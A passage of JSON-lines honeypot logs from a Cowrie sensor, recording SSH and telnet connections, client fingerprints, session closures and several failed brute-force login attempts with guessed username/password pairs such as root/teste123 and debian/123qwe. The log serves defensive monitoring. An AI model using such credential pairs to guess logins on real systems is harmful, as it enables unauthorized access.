6","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:25:13.693714Z","src_ip":"37.143.61.130","session":"840f21fa3f11","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.819608211517334,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:25:14.590033Z","src_ip":"139.162.207.207","session":"be4340442cb8","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"teste123","message":"login attempt [root/teste123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:25:17.698577Z","src_ip":"37.143.61.130","session":"840f21fa3f11","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":56354,"dst_ip":"159.203.135.109","dst_port":23,"session":"464a801b1c42","protocol":"telnet","message":"New connection: 209.126.87.217:56354 (159.203.135.109:23) [session: 464a801b1c42]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:25:17.879854Z"}
{"eventid":"cowrie.session.closed","duration":31.723703622817993,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:25:18.705703Z","src_ip":"209.126.87.217","session":"8f1bd26d8635","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"7.0","message":"Connection lost after 7.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:25:19.007910Z","src_ip":"37.143.61.130","session":"840f21fa3f11","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.870811223983765,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:25:22.509917Z","src_ip":"209.126.87.217","session":"5d62fed9de24","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":34288,"dst_ip":"159.203.135.109","dst_port":23,"session":"5162848346eb","protocol":"telnet","message":"New connection: 209.126.87.217:34288 (159.203.135.109:23) [session: 5162848346eb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:25:23.583327Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":54162,"dst_ip":"159.203.135.109","dst_port":22,"session":"5e71f51d8ccf","protocol":"ssh","message":"New connection: 159.203.92.129:54162 (159.203.135.109:22) [session: 5e71f51d8ccf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:25:23.885736Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:25:23.890825Z","src_ip":"159.203.92.129","session":"5e71f51d8ccf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:25:23.895441Z","src_ip":"159.203.92.129","session":"5e71f51d8ccf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ansible","password":"a","message":"login attempt [ansible/a] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:25:23.907221Z","src_ip":"159.203.92.129","session":"5e71f51d8ccf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:25:24.914320Z","src_ip":"159.203.92.129","session":"5e71f51d8ccf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"139.162.207.207","src_port":41318,"dst_ip":"10.17.0.5","dst_port":23,"session":"66ffefab569a","protocol":"telnet","message":"New connection: 139.162.207.207:41318 (10.17.0.5:23) [session: 66ffefab569a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:25:25.172219Z"}
{"eventid":"cowrie.session.connect","src_ip":"125.31.2.160","src_port":45286,"dst_ip":"10.17.0.5","dst_port":22,"session":"b8a2dc3b1033","protocol":"ssh","message":"New connection: 125.31.2.160:45286 (10.17.0.5:22) [session: b8a2dc3b1033]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:25:26.099642Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:25:26.103640Z","src_ip":"125.31.2.160","session":"b8a2dc3b1033","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:25:26.320826Z","src_ip":"125.31.2.160","session":"b8a2dc3b1033","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"139.162.207.207","src_port":41326,"dst_ip":"10.17.0.5","dst_port":23,"session":"ffdaba9eb7ac","protocol":"telnet","message":"New connection: 139.162.207.207:41326 (10.17.0.5:23) [session: ffdaba9eb7ac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:25:26.371753Z"}
{"eventid":"cowrie.login.failed","username":"debian","password":"123qwe","message":"login attempt [debian/123qwe] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:25:27.225993Z","src_ip":"125.31.2.160","session":"b8a2dc3b1033","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:25:28.446591Z","src_ip":"125.31.2.160","session":"b8a2dc3b1033","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":34298,"dst_ip":"159.203.135.109","dst_port":23,"session":"76af67cb2b12","protocol":"telnet","message":"New connection: 209.126.87.217:34298 (159.203.135.109:23) [session: 76af67cb2b12]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:25:28.708736Z"}
{"eventid":"cowrie.session.closed","duration":42.61997199058533,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:25:28.912993Z","src_ip":"139.162.207.207","session":"9a02f823537b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"139.162.207.207","src_port":41340,"dst_ip":"10.17.0.5","dst_port":23,"session":"bf2b295415ad","protocol":"telnet","message":"New connection: 139.162.207.207:41340 (10.17.0.5:23) [session: bf2b295415ad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:25:31.772611Z"}
{"eventid":"cowrie.session.closed","duration":32.71853423118591,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:25:32.180070Z","src_ip":"209.126.87.217","session":"3fbbeab960df","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":46760,"dst_ip":"159.203.135.109","dst_port":23,"session":"217355c9ca48","protocol":"telnet","message":"New connection: 209.126.87.217:46760 (159.203.135.109:23) [session: 217355c9ca48]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:25:33.190649Z"}
{"eventid":"cowrie.session.closed","duration":44.107147455215454,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:25:34.596862Z","src_ip":"139.162.207.207","session":"241d74a2fdd2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.182","src_port":57870,"dst_ip":"10.17.0.5","dst_port":22,"session":"dfbbc0a002cd","protocol":"ssh","message":"New connection: 80.94.92.182:57870 (10.17.0.5:22) [session: dfbbc0a002cd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:25:37.327881Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:25:37.432937Z","src_ip":"80.94.92.182","session":"dfbbc0a002cd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:25:37.539083Z","src_ip":"80.94.92.182","session":"dfbbc0a002cd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":46774,"dst_ip":"159.203.135.109","dst_port":23,"session":"e7db1f3be096","protocol":"telnet","message":"New connection: 209.126.87.217:46774 (159.203.135.109:23) [session: e7db1f3be096]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:25:38.148669Z"}
{"eventid":"cowrie.session.closed","duration":33.04877042770386,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:25:38.352859Z","src_ip":"139.162.207.207","session":"4e3833967ba3","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"raydium","password":"raydium","message":"login attempt [raydium/raydium] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:25:38.427699Z","src_ip":"80.94.92.182","session":"dfbbc0a002cd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.26.126.47","src_port":32880,"dst_ip":"159.203.135.109","dst_port":23,"session":"221384345159","protocol":"telnet","message":"New connection: 185.26.126.47:32880 (159.203.135.109:23) [session: 221384345159]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:25:38.462657Z"}
{"eventid":"cowrie.session.closed","duration":39.015639543533325,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:25:39.087611Z","src_ip":"139.162.207.207","session":"7ca20c7ce809","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.666101694107056,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:25:39.596755Z","src_ip":"139.162.207.207","session":"6bcb38a02f7c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:25:39.720058Z","src_ip":"80.94.92.182","session":"dfbbc0a002cd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":50196,"dst_ip":"159.203.135.109","dst_port":23,"session":"7bbd68767651","protocol":"telnet","message":"New connection: 209.126.87.217:50196 (159.203.135.109:23) [session: 7bbd68767651]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:25:41.500006Z"}
{"eventid":"cowrie.session.closed","duration":33.30886650085449,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:25:44.594912Z","src_ip":"209.126.87.217","session":"ac1bf143e36b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":50202,"dst_ip":"159.203.135.109","dst_port":23,"session":"46e17c61449a","protocol":"telnet","message":"New connection: 209.126.87.217:50202 (159.203.135.109:23) [session: 46e17c61449a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:25:48.005704Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":50208,"dst_ip":"159.203.135.109","dst_port":23,"session":"e89bc7953b7a","protocol":"telnet","message":"New connection: 209.126.87.217:50208 (159.203.135.109:23) [session: e89bc7953b7a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:25:49.073433Z"}
{"eventid":"cowrie.session.connect","src_ip":"139.162.207.207","src_port":60316,"dst_ip":"10.17.0.5","dst_port":23,"session":"a0d9ab507b38","protocol":"telnet","message":"New connection: 139.162.207.207:60316 (10.17.0.5:23) [session: a0d9ab507b38]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:25:49.914263Z"}
{"eventid":"cowrie.session.closed","duration":32.5093731880188,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:25:50.389083Z","src_ip":"209.126.87.217","session":"464a801b1c42","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.73334789276123,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:25:55.316563Z","src_ip":"209.126.87.217","session":"5162848346eb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.646533250808716,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:25:59.355124Z","src_ip":"209.126.87.217","session":"76af67cb2b12","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":56716,"dst_ip":"159.203.135.109","dst_port":23,"session":"9f243be0d7d7","protocol":"telnet","message":"New connection: 209.126.87.217:56716 (159.203.135.109:23) [session: 9f243be0d7d7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:25:59.861114Z"}
{"eventid":"cowrie.session.connect","src_ip":"139.162.207.207","src_port":44566,"dst_ip":"10.17.0.5","dst_port":23,"session":"3afd87f394f8","protocol":"telnet","message":"New connection: 139.162.207.207:44566 (10.17.0.5:23) [session: 3afd87f394f8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:25:59.958767Z"}
{"eventid":"cowrie.session.connect","src_ip":"139.162.207.207","src_port":44554,"dst_ip":"10.17.0.5","dst_port":23,"session":"e2c5aaf515b8","protocol":"telnet","message":"New connection: 139.162.207.207:44554 (10.17.0.5:23) [session: e2c5aaf515b8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:26:00.171305Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.43.86.48","src_port":38906,"dst_ip":"10.17.0.5","dst_port":22,"session":"3c4f48be0285","protocol":"ssh","message":"New connection: 45.43.86.48:38906 (10.17.0.5:22) [session: 3c4f48be0285]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:26:03.698648Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:26:04.985123Z","src_ip":"45.43.86.48","session":"3c4f48be0285","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00209212303162,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:26:05.272019Z","src_ip":"42.114.201.41","session":"7b097325790e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.05723237991333,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:26:05.428853Z","src_ip":"139.162.207.207","session":"ffdaba9eb7ac","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:26:05.888196Z","src_ip":"45.43.86.48","session":"3c4f48be0285","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.394274950027466,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:26:06.166762Z","src_ip":"139.162.207.207","session":"bf2b295415ad","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"42.114.201.41","src_port":45122,"dst_ip":"159.203.135.109","dst_port":23,"session":"b368bc861563","protocol":"telnet","message":"New connection: 42.114.201.41:45122 (159.203.135.109:23) [session: b368bc861563]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:26:06.443274Z"}
{"eventid":"cowrie.session.closed","duration":41.71814489364624,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:26:06.890198Z","src_ip":"139.162.207.207","session":"66ffefab569a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.88250017166138,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:26:07.073059Z","src_ip":"209.126.87.217","session":"217355c9ca48","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":53656,"dst_ip":"159.203.135.109","dst_port":22,"session":"dacb2546fa45","protocol":"ssh","message":"New connection: 159.203.92.129:53656 (159.203.135.109:22) [session: dacb2546fa45]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:26:09.303766Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:26:09.307555Z","src_ip":"159.203.92.129","session":"dacb2546fa45","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-he